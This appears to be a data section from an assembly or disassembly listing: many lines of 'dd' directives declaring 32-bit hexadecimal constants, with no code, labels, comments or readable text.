		dd 30710207h, 3B437A68h, 210A4C5Bh, 8249B8E3h, 116B5720h
		dd 0C051EE3Fh, 106A8489h, 0E6FB0FCh, 92363DCh, 0D82FA5C1h
		dd 8664248Ah, 6A608CB4h, 13E092DAh, 5407AD30h, 5322B0C8h
		dd 46070CE4h, 0E9AA436Eh, 7C130F40h, 8A790F49h,	9A64C21Bh
		dd 0DF9C8839h, 91C90300h, 5778F1F0h, 0F67B2690h, 404644B8h
		dd 82E63EC9h, 0FC9D0FBAh, 8377724h, 4A941098h, 0B0CA2E68h
		dd 742B964h, 804C12F0h,	77CC6B0Fh, 6ADE8072h, 28912316h
		dd 44B8229Ch, 21033954h, 68B3E3F0h, 0D1C38875h,	1CE1256Ch
		dd 0A2E9B805h, 1FC106C8h, 112278h, 3B598FFDh, 0EA564370h
		dd 0C71751C1h, 0EC54BB8Ah, 0A2DA08E0h, 95CC4FCh, 27FA4207h
		dd 984CC009h, 8A4C6F44h, 1E21B360h, 34943200h, 4A6ADF99h
		dd 30E25A1Ch, 0B216A968h, 47926306h, 44E19A08h,	0C20287F2h
		dd 0B43E1477h, 8EA0A2B6h, 0BFA12CBCh, 6B390304h, 70816D63h
		dd 0ED08D561h, 1368B88h, 0F573139Ah, 3965C9F7h,	48808BCCh
		dd 4BA5A94h, 0E4CDC25h,	321C9028h, 0A750FF0Ah, 0B7FAEB2Ch
		dd 3B511E00h, 62CD3C41h, 0DF4316ADh, 0D8040405h, 2800B672h
		dd 842D30E9h, 71303061h, 89676444h, 0A4B205h, 83B1FFCAh
		dd 294AF5Ah, 9871FF3h, 38C0D161h, 0E123C12h, 1C563275h
		dd 0F7084800h, 5403C639h, 13EBE009h, 0D05F29D5h, 91AF7D04h
		dd 96DA5600h, 0D26C0B06h, 0D45C1D5Dh, 637A8134h, 0FA8C61D0h
		dd 5C93F871h, 0AEF51097h, 3E3A6380h, 0DBAA3E2Eh, 752F7D02h
		dd 9D625A50h, 405FE024h, 0FE3999C0h, 74234C48h,	0C8AE0274h
		dd 0E141C70Dh, 3C0648F1h, 0C9C940h, 6F8D94EFh, 143BE0CAh
		dd 88A8BF5Ch, 7E97CBh, 1FFCE7CAh, 9700E9B0h, 24D8563h
		dd 16249BC7h, 4100B66h,	8AA75AFCh, 289011C0h, 6B22F44Ch
		dd 0C255DB1Fh, 97210EC1h, 14E8A08Fh, 447C5C4Eh,	7A6AD300h
		dd 0C5FD92F7h, 887CC74Ch, 971B8153h, 0CB942B50h, 0EFB8DD9Bh
		dd 0D60388BFh, 7F4D8957h, 5681E42h, 0C0B9920Fh,	0FDCF5298h
		dd 19543167h, 7CCCD9h, 0F6854912h, 0B8E7F9B6h, 45661D00h
		dd 575D587h, 0D17404C7h, 0B34393DDh, 12FF2D88h,	0A8F4D9DCh
		dd 3E70563h, 5ED5F143h,	800BCD0h, 0C6716A90h, 0EB02ED4Eh
		dd 5FB1C7ADh, 7E2C5AF3h, 0B0F1C0C2h, 94CCADE5h,	90A9F804h
		dd 7492425Eh, 8CCE7Ch, 1447F41h, 8B9BB404h, 693E2D1Fh
		dd 9188BCE4h, 0A25A8B5Bh, 0CED8844h, 416A5A85h,	89C8E40h
		dd 899C46C6h, 35090567h, 1217C883h, 0CCEAB8A1h,	0BB00AA34h
		dd 0A3007C7h, 77E61316h, 0DFD616B3h, 6078D28Dh,	6201A052h
		dd 35FDE6EDh, 0F8200378h, 0DCB5881Fh, 7C443700h, 573FF826h
		dd 0BE3B05F4h, 0D1ECA419h, 8024A044h, 7D8CEB49h, 3F291A11h
		dd 3280865Bh, 0B0A2B18Ah, 0CD074A6Eh, 2B5EBCD4h, 77FF01B1h
		dd 847B247Dh, 0D50158B0h, 0DF1CE5E0h, 7054094Bh, 0C01FB488h
		dd 29FEF71h, 8F001C78h,	43543FB0h, 1C5E2373h, 44E9410Ah
		dd 0A431ABEBh, 0F501B4ECh, 0B696FC64h, 2C411E42h, 682269C2h
		dd 5D8FBB00h, 0AF6124F1h, 46561400h, 6C7F30C0h,	0A6963986h
		dd 852F03FDh, 5D9141FEh, 6F5B3900h, 0F53BBB03h,	3A2675B5h
		dd 0B2334B54h, 0F4E3B710h, 8BD1935h, 8ACCA107h,	68164310h
		dd 831C0DFh, 0BB271131h, 0B595F50Ah, 840328AFh,	0E1387D04h
		dd 20BFD6FAh, 0FD364881h, 8445684Dh, 4927B069h,	108D5500h
		dd 90032AFEh, 92F5C465h, 0CAC2E028h, 0B741C5DDh, 0BC4C0835h
		dd 11CC8581h, 0EAE89FFCh, 39F46083h, 0F2B6555h,	7526210Bh
		dd 46FC833Bh, 7148395Bh, 0C5C1A960h, 0D57E7A7Dh, 73A66A06h
		dd 0A58B44Eh, 48500169h, 0C02F1074h, 8ECCF9A8h,	13AE08A7h
		dd 161847A2h, 6C94C220h, 0FA09B1DAh, 1611EC60h,	60D395h
		dd 49FA4D7h, 5998B82Fh,	0C040836Fh, 9C0D69A7h, 2E2B0F7Ch
		dd 22907A21h, 0A78700E1h, 7974C03Ch, 0D97D80A5h, 4E019871h
		dd 14917349h, 0C0946769h, 0CE30949Fh, 306B2440h, 0A008F1C2h
		dd 18A08CADh, 83BD4560h, 6C7469D9h, 3A11007Bh, 5F0307CFh
		dd 0A403B0FFh, 9FD971B1h, 6FF7B0B7h, 0ADFD2A6Dh, 445B7790h
		dd 2013912h, 36730598h,	0DDC9F2FEh, 24038570h, 0AAA3B74h
		dd 86E05C06h, 704CCBA2h, 0EA75EF00h, 0C44A09E9h, 0EECD07E4h
		dd 3A28F99Eh, 0B62102E8h, 0E0A2E326h, 9F03F60Eh, 1486003Bh
		dd 8AAC082Ch, 0EC006899h, 46B5F8EDh, 0A4312BB8h, 0BF230D0h
		dd 15929039h, 0E34EF800h, 0AD3EAE4Ch, 0A1FD0272h, 0BD589F85h
		dd 443090A4h, 54900DA2h, 4D3DD1Ch, 0CBA48EFDh, 764C97ABh
		dd 5538C9BAh, 580675CCh, 0BFD4AF07h, 1EDC0019h,	52A6EE42h
		dd 1400404Ah, 0FD06D2EBh
		dd 32D6943Ch, 21A933BAh, 4490A488h, 0A0AF40C5h,	0B72EB2h
		dd 80411F40h, 12797F56h, 6CC7AC14h, 37347EF8h, 0E43031DDh
		dd 16E200Ah, 0B47789C3h, 0E0EA1D23h, 0DF007186h, 0B2CD9716h
		dd 91F355ABh, 0A4420034h, 6E1C6436h, 0DCDBE907h, 0BA50E62Fh
		dd 0B446D2h, 2DECDD83h,	0A0C9A4F8h, 4F798F12h, 2A750440h
		dd 1A932044h, 18981418h, 371B6410h, 9B27A9F4h, 505421h
		dd 8D49FD59h, 0C854F0A7h, 0C54D0DCh, 621F92B8h,	204F9E55h
		dd 5DF3C385h, 1A900E9h,	0E53D063Ah, 890035E0h, 0D5203CB7h
		dd 0DEAA747h, 544A2167h, 602FE281h, 790B630h, 322E1E17h
		dd 0EE1DBA71h, 314A9251h, 0D2156CE4h, 0E4C01305h, 0DF82403h
		dd 28B4EEEFh, 5820FE20h, 0A06FE2D6h, 1F13D88Fh,	9D91A46h
		dd 442280B4h, 0A86E8CB7h, 0A2DA64A8h, 1848F330h, 132F50DDh
		dd 440F5458h, 4CD63524h, 3C911846h, 0EC4857FDh,	91DB2184h
		dd 14B76DE4h, 0C471E091h, 0CDD61180h, 3708DB31h, 929BBE00h
		dd 4C1C96CEh, 2AE2041Bh, 8C8474A8h, 762608B0h, 0AA4E10AEh
		dd 46402C38h, 2857456h,	89755F2Fh, 0DC605B79h, 0B4A44D69h
		dd 46D1F260h, 1321C540h, 48D72443h, 3980D364h, 8F0EE7F4h
		dd 0A3C9831h, 1D6CF952h, 8DA580A8h, 0EACF8503h,	46C81F00h
		dd 54201E38h, 0A2F131Ah, 0A08C593Ah, 8D0811BBh,	0FA247822h
		dd 0C0BE4E10h, 0FC09853Ch, 4A199418h, 0A6A89D5Eh, 99E420BEh
		dd 490540E4h, 75E1EAh, 0D53DDC56h, 6904E5F4h, 3FDB95Ch
		dd 22553B95h, 5CD5A4B8h, 0A82E1460h, 13A002B7h,	9207E441h
		dd 0EB2FE4A2h, 337123h,	0A83EB3B1h, 9ECC7EFBh, 0F484AC55h
		dd 8D2461F8h, 104A1428h, 0E160F260h, 4FF31B1h, 25222110h
		dd 39D80854h, 234C5602h, 0CCBC1B74h, 6E821E1Ch,	904D0048h
		dd 0E03DC3F4h, 0E7DE600h, 0A96FBB2Ah, 10173174h, 64B62850h
		dd 142692F8h, 0E68A7CD4h, 7F00B96Bh, 0B1800E0Bh, 75843E29h
		dd 1DF9BF00h, 0B89A427Eh, 6905880Fh, 0BD348677h, 5F2D0021h
		dd 0D49D2FB9h, 21008635h, 0FFDC53CDh, 1A5CC9Fh,	0E7BFB57Ch
		dd 0D4F97588h, 0B81F157Fh, 2503F112h, 7CA90557h, 2A971848h
		dd 374628D1h, 0AB618A60h, 7F253B9Eh, 5BC024Eh, 0C11BD62h
		dd 0C3CF62E0h, 446DA20Fh, 9CCAC0D2h, 0C374E73Fh, 9A3BEE38h
		dd 0FD755806h, 7508973h, 21BDEFC2h, 0DFCA6134h,	84C8DB0Ch
		dd 9D067FBBh, 0A138BF6Bh, 23880091h, 0DDC256E4h, 0B93E751Bh
		dd 5F1450F8h, 0D4304F51h, 82003C80h, 3A26337h, 0E4C13255h
		dd 4D6C012Bh, 0EE0C645Dh, 49F6F057h, 3C05BC72h,	0DC352936h
		dd 834B8C60h, 46CA0620h, 69147939h, 34A5210Ah, 0C7818882h
		dd 3E2F9A13h, 0AE38218Ch, 912E4BB1h, 0E1007424h, 9BA3CE56h
		dd 0B8E503B1h, 8D107282h, 70152CFBh, 0B0B2FDh, 0D3F3E136h
		dd 50592DE5h, 44239CE0h, 172A9B4Ch, 3830A8E6h, 8056984h
		dd 14A003Dh, 0BB8BC83Ch, 3000799Bh, 0F7B943DEh,	0A86BD23Ah
		dd 6AEBB8h, 8F604DAFh, 0AC43B352h, 0AD04500Fh, 0ABF920CFh
		dd 80EF8DD5h, 9D8EDA9h,	3825F68h, 71518183h, 3788DF55h
		dd 904DDF8h, 5E18E8D5h,	3884483h, 11C846A8h, 406C55A8h
		dd 3125C87Eh, 3421BC3Ch, 35C980D0h, 531172BBh, 0D95F02DFh
		dd 37432E33h, 0DB006844h, 9DD1150Fh, 6C1E46h, 0CDA7A5CAh
		dd 0ADCFD345h, 0DEE2BB07h, 0D0DAB7BDh, 4AA43681h, 7F009E5Ch
		dd 8CFB52F5h, 79EC34A1h, 0A93B00C8h, 43D27001h,	310EC1A2h
		dd 0AE51B830h, 2C0C92AFh, 2A84B0A7h, 18A06DEEh,	5987F462h
		dd 0CCA8973Eh, 4700D9B5h, 7E582D93h, 6216CEA3h,	8405318Fh
		dd 6107211h, 0AE03E25Fh, 0F29EB992h, 6751F06Dh,	0AFECA1E7h
		dd 0C324B510h, 160029EEh, 66173980h, 30D24BA2h,	62D17CB9h
		dd 31C0BB6Dh, 3CC94915h, 549173FEh, 0C250A088h,	0B931DF28h
		dd 80B67D22h, 88699C92h, 22E1C65h, 1BC004B1h, 1807C21Dh
		dd 91ED8449h, 5F0073B9h, 0C5C4DEC8h, 170AA948h,	0FC57641Dh
		dd 0AA6FFD62h, 7400FF94h, 0C2DFBA12h, 0EB1707C0h, 0FBD6DB9Eh
		dd 0F757F881h, 8491867Ch, 2A39761Bh, 1D0DF34h, 0ADE3B0A6h
		dd 0C831C2DCh, 5C76281Bh, 94339928h, 7EC55F05h,	0FC43CDBCh
		dd 9D41E8h, 32B70CA9h, 77D39430h, 69C42EF0h, 624A7A6Ah
		dd 203E9340h, 6393C11Ch, 56BC8A00h, 32A49B02h, 124F00D3h
		dd 0B1B93316h, 28125317h, 0D84094CFh, 571085E4h, 513F05C3h
		dd 6088ECF7h, 0B02AE484h, 7300D1ECh, 1A9F6085h,	0C20CC12h
		dd 0B8295CA3h, 0D4889680h, 0E6A40069h, 566C77CEh, 2006090h
		dd 0FE24E47Ch, 91399D55h, 580209Ch, 15802521h, 9BD84546h
		dd 0EE1488D5h, 59E72F30h, 58DFF9h, 9DE2405h, 0CFE88946h
		dd 17019891h, 0F750BA68h, 0E8515EE9h, 6981D534h, 1A356BEBh
		dd 0ACFFC404h, 0F6DE610Ch, 0A03B719Ch, 6C29EE48h, 689071EAh
		dd 11914F30h, 49B89Ch, 0C64C8781h, 3ECBB663h, 0CEE4201Eh
		dd 4AD4EF85h, 0DC8A9840h, 4252Bh, 4740FF9Bh, 0ED6FEE3Ah
		dd 0F2F4ACE4h, 0C8F1903Dh, 4E6D881Ch, 5CCF0051h, 704581A1h
		dd 0DAE207A8h, 30A04938h, 1D71EE0Ah, 0B6228C2h,	9C44B6h
		dd 18C08566h, 37DC1376h, 89805949h, 1E60A2CEh, 74C46691h
		dd 10AF898Dh, 649BA51h,	0AB6A2B31h, 5C2269DDh, 503E487Dh
		dd 0D432C480h, 770F5649h, 92A79871h, 0B2240460h, 0D3880027h
		dd 0D6834652h, 660284FFh, 0E49FA592h, 99DC826Ch, 3BFC901Bh
		dd 800C91D3h, 5C9291ECh, 232A5786h, 150098DFh, 1453A0EBh
		dd 9042F649h, 0FDFA0C20h, 0BB2146C9h, 5F575506h, 839CD461h
		dd 7DE9D6ACh, 0C1E13D99h, 6FB14600h, 88EB8602h,	0AF08CC02h
		dd 0A7C7248Fh, 42F83B94h, 5F208BD5h, 9297CE14h,	4164019Ch
		dd 1CA8AD84h, 0A86EEEA2h, 5B709100h, 0F0C38CEFh, 0F3550BA7h
		dd 0B0249FA2h, 204F4FB6h, 8C3C9027h, 55C70BC8h,	58A31595h
		dd 4AFAA1D1h, 15472C98h, 5F30FD07h, 0DBD1E426h,	9C30C40Dh
		dd 0A99B153Ch, 0BE09A8D5h, 0AC900B4Ah, 0BD691184h, 77B804B9h
		dd 7C081158h, 0B9CE1588h, 0FB4C006Ch, 8797703Eh, 5FDA0300h
		dd 57276348h, 0C620A15Ch, 87DCD084h, 0DF28C81Dh, 0B8170600h
		dd 2546A5D9h, 0E29B80D1h, 7026EC91h, 2A9C218h, 207E6164h
		dd 6374D2F6h, 55AB03D4h, 0FA13A9F4h, 0A4EEC6h, 551ED68Ah
		dd 0E5F5FE8Fh, 2077F42Ch, 4CDD3F60h, 44A76CF6h,	3E319B69h
		dd 82388174h, 0B8AC4980h, 90E0D03Fh, 0B606CA00h, 8C4520CDh
		dd 388A18FAh, 741129B3h, 65A15B00h, 0DF66CD60h,	0CB99005Ch
		dd 29F58727h, 112C1C1Eh, 0B64454A6h, 14957043h,	66054AE0h
		dd 0D6E11D00h, 935C5419h, 0E07C949Ch, 70C1CA4h,	428848h
		dd 0B8EADB74h, 380952Ah, 0A0C6B18Fh, 0D11030F5h, 7D88BB14h
		dd 6ADC8B87h, 504A9220h, 90F90F3h, 9E0F982Ch, 0C3B9A010h
		dd 8698824h, 23745362h,	4C04BC6h, 0B0905565h, 4C2418BAh
		dd 7A8F189Bh, 67A30356h, 0FB1F39Dh, 0D30CA0BCh,	0D7314E0Ch
		dd 773450C6h, 605103A1h, 0D9862AFh, 840989FEh, 0B225DF09h
		dd 0B38809B8h, 8B83DCA0h, 0B0EB9BF5h, 0EA665AC5h, 901F2E7Fh
		dd 0A09134h, 17A1533Dh,	9255FDBBh, 0B3C0060h, 0E1825C16h
		dd 1E075BA7h, 3BC6BB63h, 52620A78h, 9C3E43F0h, 60E8900h
		dd 7837FE90h, 2FBB00F0h, 0F11287A0h, 40B9A66Ch,	964F6B1Ch
		dd 0D9E560D2h, 85F506h,	0BD7A665Dh, 6A906158h, 0F422BC92h
		dd 9DF0097h, 0EBBB26A4h
		dd 0C4B855B2h, 2084AF44h, 28D1B11Ch, 20EA7484h,	3F8280B1h
		dd 5947DE42h, 11542418h, 61FD1898h, 7CA6F9h, 0C3B350C0h
		dd 3D045C94h, 4CA36850h, 0A92A3598h, 0A24FCC1h,	9466FCB9h
		dd 0AC4400A9h, 1FB77976h, 370B22E2h, 38461451h,	0D22800h
		dd 0ECCD0F7Eh, 0BC397A34h, 0F70010A4h, 23547C48h, 4A95BEA7h
		dd 38C42243h, 39E53C80h, 0C8000F85h, 729EECD9h,	1FA2B75Ch
		dd 928ABB7Eh, 80182418h, 0B11BE970h, 58AEDE09h,	0FD2CA506h
		dd 70BC88h, 14EEFF46h, 0A2C034A5h, 0EFF7E500h, 0E05A5D2Bh
		dd 83E891BFh, 838903C5h, 1C4C6890h, 0ECB62700h,	96CA49F6h
		dd 2C10E0F4h, 0A5CCC377h, 61AF1CA0h, 2014A6Bh, 0ED86C9B6h
		dd 60FCE911h, 0F09C1A17h, 0F04C28B8h, 31B3BE00h, 0C5C2C03Ch
		dd 260D09B0h, 0A0903023h, 290567EFh, 0B2D53A7Dh, 6246BA80h
		dd 2CC89151h, 69978Ch, 6F50F170h, 53CF04Ah, 85581411h
		dd 80702ADCh, 8B4F5D00h, 2F3AAA54h, 0A5AD00EEh,	0AEEDEB45h
		dd 6D1F490Ch, 3107CAB4h, 705CF7DFh, 92B8E482h, 9CA7003Ch
		dd 0FF86177Eh, 0DC004463h, 0ED3E290Dh, 91FDAFD7h, 0CC2F0064h
		dd 7894677Eh, 144B3C00h, 5FADE20Ah, 9ED4A885h, 38B200CCh
		dd 3746C331h, 0E09B1A0Bh, 0F8609880h, 735F6958h, 9715062Ch
		dd 20A78E37h, 616FE301h, 73456EE5h, 50115463h, 483E26B0h
		dd 0CD57FC40h, 0E39200C6h, 457A93EAh, 73FE4E17h, 1B82660Ch
		dd 8841BCh, 38A9D1F9h, 0B2C6B0C1h, 539C2000h, 230FA031h
		dd 96BE02BCh, 0AFE8E936h, 107618C1h, 9046175Fh,	0FA1428CCh
		dd 6B4F09C0h, 7818855Eh, 7400F384h, 0AC7718B0h,	0B9374EF7h
		dd 0DC630068h, 0EE820B10h, 0BDAEB209h, 3889836Bh, 0F7D104AAh
		dd 80E331F3h, 205EEAA7h, 0E945BB00h, 84DE02AFh,	0EFD2CBA9h
		dd 0A2C6C8A2h, 831D1521h, 0FC29460h, 53140DC9h,	28A3D266h
		dd 9A0F721h, 68E0DC4Bh,	618ADE3Bh, 0B04CF4B4h, 0C67744F7h
		dd 13787D5Dh, 3408AC2Ch, 8A894290h, 0CC7D4000h,	0F27B02B9h
		dd 73E4C15Dh, 4724842h,	0A139C700h, 78169629h, 0E3A40F54h
		dd 0DF234A04h, 511E6B38h, 1480F646h, 20ECFFE8h,	0DD0CA00Dh
		dd 6EA70409h, 82C9EFA4h, 5F2085B0h, 126768C5h, 216A2C57h
		dd 83E13414h, 7DF701D9h, 2EEFD8D4h, 0D3A90148h,	3052ECE3h
		dd 27DE81C0h, 0AFD6E51Ah, 0BA80742Ch, 0B31178D9h, 48AD2500h
		dd 0C181E25Bh, 7D5F012Eh, 7EB159B0h, 3B70606Fh,	0C6274AE6h
		dd 67A43885h, 1C070087h, 0E01EADF7h, 841381E3h,	0B8C82B0Eh
		dd 221F0031h, 0BDD072AFh, 4B15157h, 83BC6988h, 6E41F867h
		dd 38A85903h, 0A9717607h, 0BBC448BEh, 0A4FD52EEh, 8AB7ED0Ch
		dd 0CC7CDC91h, 5448BB4Fh, 0CCD6AFD3h, 0E02A0Fh,	9F60F8C3h
		dd 0A7F114EBh, 0E801F814h, 0BAC81077h, 0C183D895h, 4A2014B8h
		dd 0CB248889h, 2D140044h, 0ED05D5F1h, 1D09AC85h, 80F40B31h
		dd 4BC9D72Ch, 1141093Fh, 0A090389Ch, 2CB87952h,	582D0526h
		dd 0ECE850Bh, 753B26F7h, 0F39B27C9h, 4FF0FC20h,	305A1B4h
		dd 86247EFh, 0CCF29432h, 0FA173C98h, 0E29C0B84h, 0F514975Fh
		dd 59FAC689h, 2F471E00h, 44355A1Fh, 6C171A29h, 0A050E9h
		dd 3668DCF9h, 53DD5900h, 0E9FE5544h, 19C2514h, 2A009494h
		dd 98F4EB81h, 1228781Ah, 4506B93Bh, 640B6244h, 1E5421E8h
		dd 20DC606Dh, 34202E45h, 23E28B77h, 200F8C4h, 0E0876F03h
		dd 62EC0562h, 0BCEF516Ch, 23D66720h, 85613EADh,	9CDE6A15h
		dd 5009777Ch, 4526AC9Bh, 18C6391h, 8743B32Ah, 59E408DAh
		dd 76810005h, 82FFFE80h, 5600D483h, 0BD1A934Ch,	0A9BEFD78h
		dd 0F1CC8BE0h, 0CB9A0E1Ch, 200C3DAh, 0B972A8D9h, 1D78AA50h
		dd 542414B1h, 4494A710h, 0EB720102h, 18833F1Ah,	4BDBE97Bh
		dd 313B4AB8h, 23AC44h, 2CD3A412h, 8A1987FBh, 5168336Fh
		dd 0D9E93E18h, 24060FEBh, 0F13453DCh, 4C5E2761h, 479E4420h
		dd 22F44F9Ah, 0A7789338h, 167005h, 7EB93AC4h, 361EB1A6h
		dd 4824D148h, 0AB1BC360h, 3C21A0D7h, 6CB0CBh, 0DC6B8C43h
		dd 6CD3174Bh, 447AA8A8h, 0C64CF900h, 18ABE8FBh,	35A40092h
		dd 4D542D85h, 3700ECCAh, 0F06939C2h, 0FAA1DD4Ch, 0AC4A12A5h
		dd 89881E7Ah, 0B0194BD0h, 0C9997012h, 578A8F03h, 0F6139F76h
		dd 29E602D1h, 0EEFC4109h, 4AED6060h, 3E94E4B9h,	78CE80F8h
		dd 81CD85h, 298C8D0h, 9A9D5E0Dh, 5031DF24h, 6D9B9F40h
		dd 984F3B94h, 0C436058Ah, 0BA9606A6h, 0BE096031h, 98ADC53Eh
		dd 141A0FCh, 0ACC37FCCh, 0F0399331h, 0A8B66E1Eh, 524A2F03h
		dd 0C36103A5h, 35A1B666h, 640A3ED8h, 79FC6A48h,	38A0FD52h
		dd 0AEE30FB7h, 2AED279Eh, 2FE01927h, 615754h, 17508F59h
		dd 1425A21Dh, 69294605h, 0D4216082h, 98725C62h,	88329D02h
		dd 4059A349h, 0E7BD3780h, 0B4EFB1Ch, 2FED6740h,	3C4648C9h
		dd 0A1D18010h, 443352Bh, 4A14997Ch, 7E708025h, 4605085Ch
		dd 0F654AD07h, 0C8287AC4h, 889F4184h, 7779950h,	5073FBABh
		dd 0B0A93B1Dh, 815F5500h, 49175E62h, 0A421E4F6h, 3CF422B8h
		dd 945B4E29h, 0FE20EC28h, 4CDF4C76h, 508C1702h,	0E4846D36h
		dd 0FC05EB3h, 74629B16h, 49A300D7h, 0E6A5C96h, 0F90B0782h
		dd 809AE0FEh, 0E8BA6800h, 0A841A87h, 0A4196089h, 60D20809h
		dd 9DF5F8F9h, 20D7CF38h, 3A0C8Ch, 72B04D55h, 162ED8BBh
		dd 63ED5200h, 0F0B865EEh, 244026BAh, 5E41140h, 42CF2F46h
		dd 0BD9488h, 2E6E7371h,	7B16471Fh, 0C91327FEh, 0B43084E0h
		dd 26DEE950h, 9FFA3F1h,	0E8904C7Bh, 2030190h, 3122A6D4h
		dd 153130B1h, 5F73FFE0h, 6600E898h, 0A2E23288h,	0A8365655h
		dd 46D9EBCh, 838D2028h,	0E401C446h, 1C078C08h, 5E4B2279h
		dd 2516DA20h, 9AC301B5h, 15CB26D2h, 8832D3h, 707880BDh
		dd 4901D72h, 9D47C056h,	176C88CEh, 0E1536A00h, 0EF0CF4B2h
		dd 0C51303D5h, 0AB0E065h, 0CCCED1F8h, 3DC0D352h, 0DBD480BAh
		dd 4AFAF707h, 0A6931E3Ch, 36690153h, 0C9E494EEh, 80482CE8h
		dd 4721D81Dh, 0A26812D2h, 0EFCE00F9h, 1C9CD4C3h, 0AE51F000h
		dd 829BB2C6h, 0A0EC9E1Dh, 27A55AA5h, 12904E0Ch,	0AC0C4146h
		dd 5832940h, 0A9B7122h,	0ACD8F414h, 506E88h, 0BA4F2A8Fh
		dd 0F4484D16h, 848DFD0Ah, 0FE903460h, 3441F3C8h, 0D430AA50h
		dd 0B93A79EDh, 0B8A380F8h, 4723DC71h, 1E3B9B18h, 0B126EE79h
		dd 5D09828Ch, 0F4C0912Ch, 2002D29Dh, 0DFEB77EEh, 6CFA30h
		dd 91B67D9Ah, 8CB4ADB8h, 0DEE7A503h, 0A106A0B0h, 98794C04h
		dd 0B19E5B0Fh, 7AA9CA00h, 600E2D0Bh, 4018C2A2h,	871A8DE6h
		dd 8C1301E2h, 909759DFh, 924C7CF0h, 6D624803h, 3E792EB8h
		dd 5EE440D8h, 2702B396h, 3408388Ah, 60A4D94Ah, 70569E0Bh
		dd 1F16B876h, 208CA537h, 57F101BAh, 8F618C2Ah, 0A7BDD41Eh
		dd 20617A4Eh, 0DA070D9Dh, 10540744h, 37BEA031h,	9B7D51F7h
		dd 0AA13D012h, 0A3C4E4C9h, 2E050082h, 3E86E056h, 674C1EA2h
		dd 88274E3Ch, 0DB48A920h, 868B0084h, 1C516BC5h,	4515CBC2h
		dd 1E07796h, 0ECFC04D2h, 6C73E822h, 5F0B8A22h, 309EF014h
		dd 0ED82B3Ch, 7D8AB709h, 6613623h, 64A0C0C5h, 65FB295Fh
		dd 89404340h, 0C9DC4909h, 0F474E8CEh, 7B760FC5h, 46812AEBh
		dd 2045BE5Dh, 0D807FDC5h, 5EA17237h, 4F4D585h, 0D02F52EEh
		dd 30449B25h, 0CE14E317h, 51A19020h, 0A8C800AFh, 69EC86A5h
		dd 730CC58Ch, 0C14D77DAh
		dd 31D80075h, 59806432h, 4626A985h, 1E1F112Eh, 0E1567A00h
		dd 9CCAC0E4h, 0E541C338h, 80B54139h, 5D117D99h,	7CA66D6Ah
		dd 0B0720047h, 21DF3058h, 1D0B2E50h, 9CEEAB4Dh,	5CD300E4h
		dd 0BB13238Eh, 883F7B69h, 521D8773h, 919982F2h,	7D30DF54h
		dd 313C00F1h, 11F80C0Bh, 0CD012CC9h, 0B2CB812Ah, 0C4693ADDh
		dd 0B190200h, 0EB9AC820h, 68FDAF25h, 7048BCh, 90C4993Eh
		dd 0D3911617h, 5CE8A47Dh, 0B3D61C00h, 0BF3DB2D8h, 259C0AAFh
		dd 80B07729h, 0DA5BBE6Bh, 0FB0F2832h, 4BCCE12Fh, 3D64613Fh
		dd 4F585F08h, 63FB8010h, 0C0F74D7Dh, 32E79388h,	4609171Bh
		dd 801588D9h, 9CC7A7E4h, 1E4A439h, 0D62CCAC1h, 3CCE2D6Fh
		dd 44EF1970h, 0D03D37C1h, 7986AA00h, 0C004D427h, 9E13531Eh
		dd 0F1693540h, 0C81EA5h, 5607F9AEh, 0CA7951F4h,	44AC58CBh
		dd 876E3920h, 30B4EC80h, 0A4FA1D79h, 5249D800h,	93B88ADh
		dd 9E320037h, 0A6A1EB17h, 0DC126593h, 4C9342C0h, 2AF7D00Bh
		dd 48820034h, 6F8133EEh, 0A81DB1D8h, 2952A088h,	6CB6A020h
		dd 2076149Ch, 0A7DAE5Ah, 1DA78916h, 0A801C7A4h,	82BED78Fh
		dd 0E497BD64h, 3F46052Ch, 0A4D2A445h, 0F00E918h, 0D396C1C4h
		dd 1670877h, 6FB6BA4Dh,	0E156725Eh, 0C1742857h,	0A607AB4Bh
		dd 0CD30B2DDh, 0F12500AFh, 0BAEC4A06h, 55048D80h, 69055736h
		dd 5CF3BC82h, 0ADFD50F4h, 6A71B61Fh, 7C233080h,	207DC2Ch
		dd 10D4BC6Bh, 0AD42DB5Bh, 3400C864h, 7BCD59F1h,	0E82B93h
		dd 9DE4AFBCh, 0DFF69A27h, 80083A5Ch, 0C9E05A9Bh, 3E931168h
		dd 4FA400AEh, 0A84E7E4Ch, 92DD00FFh, 6A70790Fh,	8900CCBBh
		dd 69491C6Eh, 91B26682h, 0F1F48298h, 0F4E54562h, 819C8888h
		dd 3ADAEDDh, 805C2CDCh,	91B4086Ah, 193400ABh, 0DC4A9D86h
		dd 0E84F1EDFh, 0C2E37820h, 0F4420221h, 0D0086814h, 7140FC56h
		dd 739A187h, 6EF9E3B3h,	4061F5B9h, 0F5AB5F88h, 59021D95h
		dd 0F05E73B6h, 37F481C4h, 0C3043290h, 448C759Ch, 0DCF79D20h
		dd 27155F00h, 0F5908DCEh, 72EC8401h, 0DC149CCAh, 0F4119432h
		dd 80D45C9Ah, 0E247F184h, 8E940EBAh, 0D2A0B0FEh, 0E08776DCh
		dd 20003998h, 0A629C55h, 2D1A6009h, 0E02042BDh,	7852990Fh
		dd 0DFD1A904h, 0BCE1144Ch, 0B02C1431h, 340E1BA0h, 0C208C516h
		dd 0F2829C05h, 500CE4A2h, 7E59DF4Ch, 0FB302400h, 9F8C7B97h
		dd 74851C4Fh, 2E34C31Eh, 87B20307h, 80394840h, 6DE36494h
		dd 8631E0B0h, 0CD73B7h,	0A1EA88F5h, 4340BC57h, 0FE6FE50Dh
		dd 6861984Bh, 22C0F432h, 0D15C9863h, 0E21E9212h, 43AF6000h
		dd 5888CD44h, 533D5B1Fh, 884D6458h, 0BA3C9C82h,	72C4888h
		dd 70191E88h, 3CEB1A2Fh, 0ED01FD77h, 0FB61FA8Dh, 0A84841E5h
		dd 9F5D3CBDh, 0C17C3300h, 53DD4CF3h, 3A1C4AF2h,	87A5C568h
		dd 69EB9C9Ch, 0E4FAEE64h, 2E5513A4h, 62C49031h,	0EA05F16Fh
		dd 32B5C195h, 442D30DCh, 8E88AE03h, 0D8280088h,	1B8DE433h
		dd 230FF29Fh, 0E0F5E7CEh, 0D6EAD4B0h, 78B93Eh, 2D610F8Ch
		dd 5400B9CCh, 25F305A3h, 0E7A36B6h, 9BAC55F6h, 3B84C893h
		dd 9EDEA44h, 0FD841D3Eh, 6AAC5C90h, 0E814A200h,	6E986F06h
		dd 200F0203h, 4BBFD538h, 8E0004D9h, 3A4D3DA2h, 785009Dh
		dd 0A14A6065h, 3313A729h, 0D302DFDDh, 5EF2E0DCh, 0B2D74088h
		dd 0FC78038Ch, 0D298EC04h, 54A229DFh, 91546400h, 4F69DC10h
